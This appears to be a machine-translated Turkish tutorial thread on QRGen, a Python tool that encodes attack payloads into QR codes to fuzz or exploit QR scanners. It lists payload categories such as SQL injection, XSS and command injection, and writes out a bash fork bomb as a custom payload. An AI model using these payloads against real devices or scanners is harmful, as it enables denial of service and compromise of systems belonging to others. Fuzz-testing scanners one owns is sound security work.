🔰 VİP BİLGİ 🔰

2021-06-26 21:38:20 Aşama 3
Özel Yükleri Kodlayın

Özel bir yükü kodlamak için önce kodlamak istediğimiz şeyi içeren bir metin dosyası oluşturabiliriz. Her satır yeni bir yük olacaktır. İlk olarak, bir metin dosyası oluşturmak için nano badstuff.txt yazarak bir sonraki metin dosyasını oluşturabiliriz.

~/QRGen/genqr$ nano badstuff.txt
In that text file, we can put our payload. The one below is a fork bomb. Will it work on a QR code scanner? Who knows.
:(){ :|: & };:

Kontrol X'e basarak kaydedebiliriz, ardından kaydetmenizi onaylamak için Y'ye ve Enter'a basın. Şimdi, yükünüzü içeren bir metin dosyası görmelisiniz.

~/QRGen/genqr$ ls badstuff.txt payload-18.png payload-27.png payload-36.png payload-45.png payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png payload-15.png payload-24.png payload-33.png payload-42.png payload-16.png payload-25.png payload-34.png payload-43.png payload-17.png payload-26.png payload-35.png payload-44.png


Yükünüzü bir QR koduna yazmak için -w işaretini kullanırız. Yük dosyanızın "badstuff.txt" olarak adlandırıldığını varsayarsak, bunu yapmak için gereken komut aşağıdaki gibi görünmelidir (önceden QRGen dizinine geri dönmeyi unutmayın).

~/QRGen/genqr$ cd .. ~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt' e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus Payload path exist, continuing... Path already cleared or deleted.. Generated 1 payloads! Opening last generated payload... Thanks for using QRGen, made by H0nus..


Çatal bomba yüküm için, açılacak olan aşağıdaki QR kodunu oluşturur. Aç / Yorum Yap

2021-06-26 21:35:21 Yüklerinizin geri kalanını görmek için, oluşturuldukları dizine ve içeriğine geçmek için cd genqr yazabilirsiniz.

~/QRGen$ cd genqr ~/QRGen/genqr$ ls payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png payload-15.png payload-24.png payload-33.png payload-42.png payload-16.png payload-25.png payload-34.png payload-43.png payload-17.png payload-26.png payload-35.png payload-44.png payload-18.png payload-27.png payload-36.png payload-45.png Aç / Yorum Yap

2021-06-26 21:34:16 Aç / Yorum Yap

2021-06-26 21:34:02 Adım 2

Bir Yük Türünden Kötü Amaçlı QR Kodları Oluşturun

Şimdi, python3 qrgen.py yazarak komut dosyasını çalıştırabilmeniz gerekir.

~/QRGen$ python3 qrgen.py e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus usage: qrgen.py -l [number] usage: qrgen.py -w [/path/to/custom/wordlist] Payload lists: 0 : SQL Injections 1 : XSS 2 : Command Injection 3 : Format String 4 : XXE 5 : String Fuzzing 6 : SSI Injection 7 : LFI / Directory Traversal Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader optional arguments: -h, --help show this help message and exit Options for QRGen: --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7} Set wordlist to use --wordlist WORDLIST, -w WORDLIST Use a custom wordlist Pay attention everywhere, even in the dumbest spot


Gördüğünüz gibi, yük oluşturmak oldukça basit. Başlamak için, biçim dizesi yüklerini içeren bir yük oluşturalım. Bunu yapmak için QRGen'i aşağıdaki argümanla çalıştırın.

~/QRGen$ python3 qrgen.py -l 5 e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,e e, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus Payload path generated.. Path already cleared or deleted.. Generated 46 payloads! Opening last generated payload... Thanks for using QRGen, made by H0nus..


Bir dizi QR kodu oluşturulacak ve oluşturulan sonuncusu otomatik olarak açılacaktır. Aç / Yorum Yap

2021-06-26 21:30:56 Aşama 1

QRGen'i yükleyin

QRGen ile başlamak için depoyu GitHub'dan indirmemiz gerekecek. Bunu, aşağıdaki komutu bir terminal penceresinde çalıştırarak yapacağız.

~$ git clone https://github.com/h0nus/QRGen Cloning into 'QRGen'... remote: Enumerating objects: 86, done. remote: Counting objects: 100% (86/86), done. remote: Compressing objects: 100% (78/78), done. remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0 Unpacking objects: 100% (86/86), done.



Deponun indirilmesi bittiğinde, (cd) dizinini değiştirin ve gereksinimler dosyasını bulmak için içeriğini listeleyin (ls).

~$ cd QRGen ~/QRGen$ ls demo.gif qrgen.py README.md requirements.txt words

Şimdi, gerekli tüm kitaplıkların kurulu olduğundan emin olmanız gerekecek. Bunun için aşağıdaki komutla kurulum dosyasını çalıştıracağız.

~/QRGen$ pip3 install -r requirements.txt Collecting qrcode (from -r requirements.txt (line 1)) Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1) Collecting argparse (from -r requirements.txt (line 3)) Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0) Installing collected packages: qrcode, argparse Successfully installed argparse-1.4.0 qrcode-6.1

Bu işe yaramazsa, bu alternatif komutla da yükleyebilirsiniz.

~/QRGen$ python3 -m pip install -r requirements.txt Aç / Yorum Yap

2021-06-26 21:25:22 Neye ihtiyacınız olacak

QRGen'i kullanmak için Python3'ün kurulu olması gerekir. Çapraz platform olduğu için, herhangi bir işletim sisteminde yapmak mümkün olmalıdır. Ayrıca kurulum sırasında kuracağımız qrcode, Pillow ve argparse dahil olmak üzere birkaç Python kitaplığına da ihtiyacınız olacak Aç / Yorum Yap

2021-06-26 21:24:27 QR Kod Hackleme için QRgen

Bir insan kötü niyetli bir QR kodunu gerçekten taramadan önce tespit edemediğinden, bir QR kodunun nispeten büyük yükü, özellikle savunmasız cihazlarla birleştirildiğinde, bir bilgisayar korsanının avantajına olabilir. Bunları oluşturmak için bugün kullanacağımız aracın adı QRGen. Bir yükü alacak ve Python kullanarak bir QR koduna kodlayacaktır.
QRGen, çok sayıda popüler istismar içeren yerleşik bir kitaplık ile birlikte gelir; bu, istismar etmek istediğiniz cihazla oturup hangisinin işe yaradığını bulmak için zamanınız varsa son derece yararlıdır. QR kod tarayıcı kullanan herhangi bir şeyi denetlemek isteyen bir pentester için, yalnızca aynı tarayıcıyı satın almak ve açıklardan yararlanmak, tarayıcının beklenmedik şekillerde davranmasına neden olabilir.
QRGen'de bulunan yük kategorilerine, komut dosyası çalıştırılırken -l bayrağı ve bir sayı kullanılarak erişilebilir. Sayı ve yük tipi aşağıda listelenmiştir.
0 :SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Dize bulanıklaştırma yükleri içeren bir grup kötü amaçlı QR kodu oluşturmak için, test için birçok kod oluşturmak üzere QRGen.py -l 5'i çalıştırmam yeterliydi Aç / Yorum Yap

2021-06-26 21:22:06 Bu küçük kod aşağıdaki metni içerir:

Sürüm 40 QR Kodu 1852 karaktere kadar içerebilir. QR kodu (Hızlı Yanıt kodundan kısaltılır), akıllı telefonlar tarafından okunmak üzere tasarlanmış bir tür matris barkodudur (veya iki boyutlu kod). Kod, beyaz bir arka plan üzerinde kare şeklinde düzenlenmiş siyah modüllerden oluşur. Kodlanan bilgiler metin, URL veya diğer veriler olabilir. Toyota'nın yan kuruluşu Denso Wave tarafından 1994 yılında oluşturulan QR kodu, en popüler iki boyutlu barkod türlerinden biridir. QR kodu, içeriğinin yüksek hızda çözülmesine izin verecek şekilde tasarlanmıştır. Teknoloji, Japonya ve Güney Kore'de sık kullanım gördü; Birleşik Krallık, QR kodlarının yedinci en büyük ulusal tüketicisidir. Başlangıçta araç imalatında parça takibi için kullanılsa da, QR kodları artık hem ticari takip uygulamaları hem de cep telefonu kullanıcılarına yönelik kolaylık odaklı uygulamalar (mobil etiketleme olarak adlandırılır) dahil olmak üzere çok daha geniş bir bağlamda kullanılmaktadır. QR kodları, kullanıcıya metin görüntülemek, kullanıcının cihazına bir vCard kişisi eklemek, bir Tekdüzen Kaynak Tanımlayıcı (URI) açmak veya bir e-posta veya metin mesajı oluşturmak için kullanılabilir. Kullanıcılar, birkaç ücretli ve ücretsiz QR kodu üreten site veya uygulamadan birini ziyaret ederek başkalarının taraması ve kullanması için kendi QR kodlarını oluşturabilir ve yazdırabilir.


Resimde bulunan metin, QR kodunun kendisinden daha büyük! Kapasite, QR kodlarını hem güçlü hem de tehlikeli kılıyor çünkü insanlar içlerindeki verileri taramadan anlayamazlar Aç / Yorum Yap

2021-06-26 21:21:21 Aç / Yorum Yap

2021-06-26 21:21:10 Tek bir QR kodu 4.296 ASCII karakteri tutabilir, bu da onlarla neler yapabileceğiniz konusunda çok daha yaratıcı olmanızı mümkün kılar. Hatta bir okuyucu cihaz onu tanıdığında eylemleri tetikleyecek şekilde verileri biçimlendirebilirsiniz.
Daha büyük veri kapasiteleriyle etkinleştirilen büyüleyici QR kodlarından biri, bunları şifreyi düz metin olarak paylaşmadan Wi-Fi bağlantılarını yönetmek için kullanmaktır. Aşağıdaki dizeyi kodlayarak, Android kullanıcılarını otomatik olarak bir Wi-Fi ağına kaydeden bir QR kodu oluşturabilirsiniz.

WIFI:S: > SSID < ;T: > WPA|WEP| < ;P:> password < ;H:> ture|false|< ;

Bir Android cihazında QR kodunu tarayan herkes, kendilerini otomatik olarak şifreli Wi-Fi ağında oturum açmış olarak bulur. Bir QR kodunun ne kadar veri paketleyebileceğini öğrenmek için şu koda bakın: Aç / Yorum Yap